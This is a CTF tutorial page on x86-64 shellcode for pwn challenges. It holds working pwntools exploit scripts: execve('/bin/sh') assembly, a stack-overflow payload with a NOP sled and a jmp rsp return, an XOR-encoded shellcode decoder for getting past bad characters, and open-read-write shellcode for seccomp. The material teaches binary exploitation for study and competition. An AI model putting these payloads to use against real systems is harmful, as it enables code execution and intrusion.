Shellcode
Write, assemble, and inject shellcode in CTF pwn challenges - x86-64, null-free, and badchar bypass.
Shellcode
Shellcode is raw machine code that, when executed, spawns a shell. You inject it into the program's memory (stack, heap, or BSS) and redirect execution to it.
Shellcode only works when NX is disabled — the stack and heap must be executable. If checksec shows NX enabled, use ROP chains or ret2libc instead.
When to Use Shellcode
checksec shows NX disabled → you can run code on the stack/heap → use shellcode
checksec shows NX enabled → stack/heap not executable → use ROP insteadYou also need to know where your shellcode will live (a known address or a leakable stack/heap address), and whether the input has bad characters (like null bytes that terminate strcpy).
The Easiest Path: pwntools shellcraft
Don't write assembly by hand unless you have to. pwntools generates shellcode for you:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
shellcode = asm(shellcraft.sh()) # generates execve("/bin/sh", NULL, NULL)
print(f"Length: {len(shellcode)} bytes")That's it. shellcraft.sh() produces position-independent x86-64 machine code that spawns a shell. Use it unless you have bad character restrictions.
How execve Shellcode Works
The goal is to call the execve syscall with /bin/sh as the argument. On x86-64 Linux:
| Register | Value |
|---|---|
| RAX | 59 (0x3b) — syscall number for execve |
| RDI | pointer to "/bin/sh" |
| RSI | 0 (NULL — no argv) |
| RDX | 0 (NULL — no envp) |
The assembly:
; Store "/bin/sh" on the stack (position-independent)
xor rsi, rsi ; RSI = 0
push rsi ; push null terminator
mov rdi, 0x68732f6e69622f2f ; "//bin/sh" (note: // is same as /)
push rdi
push rsp
pop rdi ; RDI = pointer to "/bin/sh" on stack
; Call execve
xor rdx, rdx ; RDX = 0
push 0x3b
pop rax ; RAX = 59
syscall ; trigger the syscallThe trick of pushing to the stack and then using the stack pointer as the string address is what makes it position-independent — no hardcoded addresses needed.
Injecting Shellcode via Stack Overflow
The typical flow:
- NX is off, so the stack is executable
- You have a stack overflow
- You know (or can leak) a stack address
- Place shellcode on the stack, overwrite return address to point at it
from pwn import *
context.binary = elf = ELF('./vuln')
context.arch = 'amd64'
p = process('./vuln')
shellcode = asm(shellcraft.sh())
offset = 72
# You need a stack address — via leak, fixed address, or jmp rsp gadget
stack_leak = ... # e.g., from a printf leak
shell_addr = stack_leak - 0x100 # adjust offset from GDB
payload = shellcode
payload += b'\x90' * (offset - len(shellcode)) # NOP sled
payload += p64(shell_addr) # return to shellcode
p.sendline(payload)
p.interactive()Finding the Shellcode Address
If the binary has a jmp rsp instruction, you don't need a stack leak. After ret pops the return address, RSP points to whatever comes next on the stack — put your shellcode there:
ROPgadget --binary ./vuln | grep "jmp rsp"jmp_rsp = 0x401234
payload = b'A' * offset + p64(jmp_rsp) + shellcodeNOP Sled
A NOP sled (\x90 bytes) before the shellcode makes the target address less precise. Any return address that lands anywhere in the sled will "slide" forward to the shellcode:
payload = b'\x90' * 100 # NOP sled
payload += shellcode # actual shellcode
payload += b'A' * (offset - 100 - len(shellcode))
payload += p64(approximate_stack_addr) # doesn't need to be exactAvoiding Bad Characters
If the program uses strcpy, gets, or reads until a delimiter, certain bytes will break your shellcode. The most common bad character is \x00 (null byte) — it terminates string operations.
Check for null bytes:
shellcode = asm(shellcraft.sh())
if b'\x00' in shellcode:
print("WARNING: null bytes found!")
for i, b in enumerate(shellcode):
if b == 0:
print(f" Null at offset {i}")Common null-byte tricks:
| Instead of | Use |
|---|---|
mov rax, 59 | push 0x3b; pop rax |
mov rdx, 0 | xor rdx, rdx |
mov rdi, "/bin/sh\x00" | Push null first, then string (see shellcraft output) |
pwntools shellcraft.sh() already avoids null bytes. You only need to worry about this if writing custom assembly.
Multiple bad characters: XOR encoding
If several bytes are banned, XOR-encode the shellcode with a key that isn't a bad character, and prepend a decoder stub:
from pwn import *
context.arch = 'amd64'
raw_shell = asm(shellcraft.sh())
key = 0x41 # must not be a bad character
encoded = bytes([b ^ key for b in raw_shell])
decoder = asm(f"""
lea rdi, [rip + payload]
mov rcx, {len(encoded)}
decode_loop:
xor byte ptr [rdi], {key}
inc rdi
loop decode_loop
payload:
""")
shellcode = decoder + encodedORW Shellcode (When execve Is Blocked)
If seccomp blocks execve but allows open, read, and write, you can read the flag file directly:
from pwn import *
context.arch = 'amd64'
shellcode = shellcraft.open('/flag.txt', 0) # open the flag
shellcode += shellcraft.read('rax', 'rsp', 0x100) # read it to stack
shellcode += shellcraft.write(1, 'rsp', 0x100) # write to stdout
payload = asm(shellcode)For more on seccomp bypasses, see Seccomp Bypass.
Syscall Quick Reference (x86-64)
| Syscall | RAX | RDI | RSI | RDX |
|---|---|---|---|---|
| read | 0 | fd | buf | count |
| write | 1 | fd | buf | count |
| open | 2 | filename | flags | mode |
| execve | 59 | filename | argv | envp |
| exit | 60 | status |
Full table: syscalls.mebeim.net
Checklist
-
checksec— is NX disabled? If not, use ROP instead -
shellcraft.sh()for standard/bin/shshellcode - Check for null bytes and other bad characters
- Need the shellcode address? →
jmp rspgadget, stack leak, or known fixed address - NOP sled to increase reliability if address is approximate
-
execveblocked by seccomp? → ORW shellcode (see Seccomp Bypass)
Last updated on